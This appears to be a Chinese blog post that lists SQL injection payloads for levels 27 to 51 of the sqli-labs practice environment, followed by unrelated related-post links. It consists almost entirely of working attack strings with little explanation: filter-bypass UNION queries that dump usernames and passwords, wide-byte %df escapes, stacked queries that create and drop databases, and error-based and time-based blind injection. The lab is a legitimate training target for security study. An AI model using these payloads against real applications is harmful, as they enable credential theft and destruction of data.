sqllibs 27-51关payload

目录

前言

Less-27

Less-27a

Less-28

Less-28a

Less-29

Less-30

Less-31

Less-32

Less-33

Less-34(POST)

Less-35

Less-36

Less-37(POST)

Less-38(堆叠注入)

Less-39(堆叠注入)

Less-40(堆叠注入)

Less-41(堆叠注入)

Less-42(堆叠注入,POST)

Less-43(堆叠注入,POST)

Less-44(堆叠注入,POST)

Less-45(堆叠注入,POST)

Less-46(报错注入)

Less-47(报错注入)

Less-48(爆破注入)

Less-49(爆破注入)

Less-50(报错注入、堆叠注入)

Less-51


前言

方法不止一种,在此只列出部分方法。

Less-27

查库名

?id='%0b uNion%0bsElect%0b 1,database(),3 %0b or'
查表名

?id='%0b uNion%0bsElect%0b 1,(sElect%0bgroup_concat(table_name) from (information_schema.tables) where (table_schema='security')),3 %0b or'
查列名

?id='%0b uNion%0bsElect%0b 1,(sElect%0bgroup_concat(column_name) from (information_schema.columns) where (table_name='users')),3 %0b or'
查用户名、密码

?id='%0b uNion%0bsElect%0b 1,(sElect%0bconcat(username,'==',password)%0bfrom%0busers%0blimit%0b0,1),3 %0b or'

Less-27a

查库名

?id=0%22%0BuNion%0B%20sElect%0B1,database(),3%0Bor%22
查表名

?id=0%22%0BuNion%0B%20sElect%0B1,(sElect%0bgroup_concat(table_name)%20from%20(information_schema.tables)%20where%20(table_schema=%27security%27)),3%0Bor%22
查列名

?id=0%22%0BuNion%0B%20sElect%0B1,(sElect%0bgroup_concat(column_name)%20from%20(information_schema.columns)%20where%20(table_name=%27users%27)),3%0Bor%22
查用户名、密码

?id=0%22%0BuNion%0B%20sElect%0B1,(sElect%0bconcat(username,%27==%27,password)%0bfrom%0busers%0blimit%0b0,1),3%0Bor%22

Less-28

查库名

?id=0') %0bunion%0bselect%0b1,database(),3%0bor('
查表名

?id=0') %0bunion%0bselect%0b1,(select%0bgroup_concat(table_name) from (information_schema.tables) where (table_schema='security')),3%0bor('
查列名

?id=0') %0bunion%0bselect%0b1,(select%0bgroup_concat(column_name) from (information_schema.columns) where (table_name='users')),3%0bor('
查用户名、密码

?id=0') %0bunion%0bselect%0b1,(select%0bconcat(username,'==',password)%0bfrom%0busers%0blimit%0b0,1),3%0bor('

Less-28a

查库名

?id=0') %0bUNIon %0bSELEct %0b1,database(),3%0bor('
查表名

?id=0') %0bunion %0bselect %0b1,(select%0bgroup_concat(table_name) from (information_schema.tables) where (table_schema='security')),3%0bor('
查列名

?id=0') %0bunion %0bselect %0b1,(select%0bgroup_concat(column_name) from (information_schema.columns) where (table_name='users')),3%0bor('
查用户名、密码

?id=0') %0bunion %0bselect %0b1,(select%0bconcat(username,'==',password)%0bfrom%0busers%0blimit%0b0,1),3%0bor('

Less-29

查库名

?id=-1' union select 1,database(),user()--+
查表名

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'--+
查列名

?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'--+
查用户名、密码

?id=-1' union select 1,group_concat(username),group_concat(password) from users--+

Less-30

查库名

?id=-1" union select 1,database(),user() --+
查表名

?id=-1" union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+
查列名

?id=-1" union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users' --+
查用户名、密码

?id=-1" union select 1,group_concat(username),group_concat(password) from users --+

Less-31

查库名

?id=-1") union select 1,database(),3--+
查表名

?id=-1") union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = 'security'--+
查列名

?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
查用户名、密码

?id=-1") union select 1,group_concat(username),group_concat(password) from users --+

Less-32

查库名

?id=-1%df' union select 1,database(),user()--+
查表名

?id=-1%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = database() --+

?id=-1%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479) --+

(括号里为"security"的16进制)
查列名

?id= %df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(0x7573657273)--+

(括号里为"users"16进制)
查用户名、密码

?id=-1%df' union select 1,uname=%df' union select group_concat(username),group_concat(password) from users --+&passwd=&submit=Submit --+

Less-33

Less-33与32一致,32为自定义过滤,33使用addslashes()过滤

Less-34(POST)

查库名

uname=%df' union select database(),user()--+&passwd=&submit=Submit
查表名

uname=%df' union select database(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479) --+&passwd=&submit=Submit
查列名

uname=%df' union select database(),group_concat(column_name) from information_schema.columns where table_name=(0x7573657273) --+&passwd=&submit=Submit
查用户名、密码

uname=%df' union select group_concat(username),group_concat(password) from users --+&passwd=&submit=Submit

Less-35

查库名

?id=0 union select 1,database(),user()--+
查表名

?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479)--+
查列名

?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=(0x7573657273)
查用户名、密码

?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

Less-36

查库名

?id=-1%df' union select 1,database(),user()--+
查表名

?id=-1%df' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479)--+
查列名

?id=-1%df' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=(0x7573657273)--+
查用户名、密码

?id=-1%df' union select 1,group_concat(username),group_concat(password) from users--+

Less-37(POST)

查库名

uname=-1%df' union select user(),database()-- &passwd=1&submit=Submit
查表名

uname=-1%df' union select user(),group_concat(table_name) from information_schema.tables where table_schema = (0x7365637572697479)-- &passwd=1&submit=Submit
查列名

uname=-1%df' union select user(),group_concat(column_name) from information_schema.columns where table_name=(0x7573657273)-- &passwd=1&submit=Submit
查用户名、密码

uname=-1%df' union select group_concat(username),group_concat(password) from users-- &passwd=1&submit=Submit

Less-38(堆叠注入)

?id=-1' ;CREATE TABLE cooper like users--+

?id=-1';CREATE DATABASE cooper--+

(创建库cooper,创建表cooper)

Less-39(堆叠注入)

与38相同,闭合不同,id=1

Less-40(堆叠注入)

与38相同,闭合不同,id=1')

Less-41(堆叠注入)

与38相同,闭合不同,id=1,错误不回显

Less-42(堆叠注入,POST)

login_user=admin&login_password=1';drop database cooper--+&mysubmit=Login

(user有过滤)

Less-43(堆叠注入,POST)

与42相同,1')闭合

Less-44(堆叠注入,POST)

与42相同

Less-45(堆叠注入,POST)

与43相同

Less-46(报错注入)

?sort=1 and updatexml(1,(concat(0x7e,database(),0x7e)),1)--+

Less-47(报错注入)

与46相同,'闭合

?sort=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+

Less-48(爆破注入)

?sort=1 and if(length(database())>1,0,sleep(5))--+

Less-49(爆破注入)

与48一致,'闭合

?sort=1' and if(length(database())=8,sleep(5),0)--+

Less-50(报错注入、堆叠注入)

?sort=1 and extractvalue(1,concat(0x7e,database(),0x7e))--+ (报错注入)

?sort=1;create database cooper;--+ (堆叠注入,创建库)

Less-51

与50一致,'闭合

?sort=1';drop database cooper;--+

相关推荐
Dxy123931021619 小时前
Python 如何使用 MySQL 的事务
python·mysql
marvelyu1 天前
每天10分钟学会OceanBase系列(Day 20):跨机房容灾实战——构建多数据中心高可用架构
java·大数据·数据库
ZCBUS实时计算1 天前
金融证券实时数仓建设实践:轻量化实时计算平台落地,实现交易数据端到端秒级处理
大数据·数据库·数据仓库·金融·flink·dba·etl
zd2005721 天前
海洋微生物数据库
数据库·宏基因组
海上小飞龙1 天前
Redis 分布式锁原理:从 SET NX EX 到 Redisson 看门狗
数据库·redis·分布式
xiaoye-duck1 天前
MySQL 表约束全解:从基础约束到外键关联规则
数据库·mysql
Hammer_Hans1 天前
DFT笔记98
java·开发语言·数据库
迪康Defender1 天前
从静态存储到动态流转:终端透明加密两种模式实战解析
运维·服务器·网络·数据库·其他
2601_965798471 天前
Is Piroll WordPress Theme Worth It for Freelancers? Full Review
数据库·php
冷凝娇1 天前
【MySQL】2026总结(二)
数据库·mysql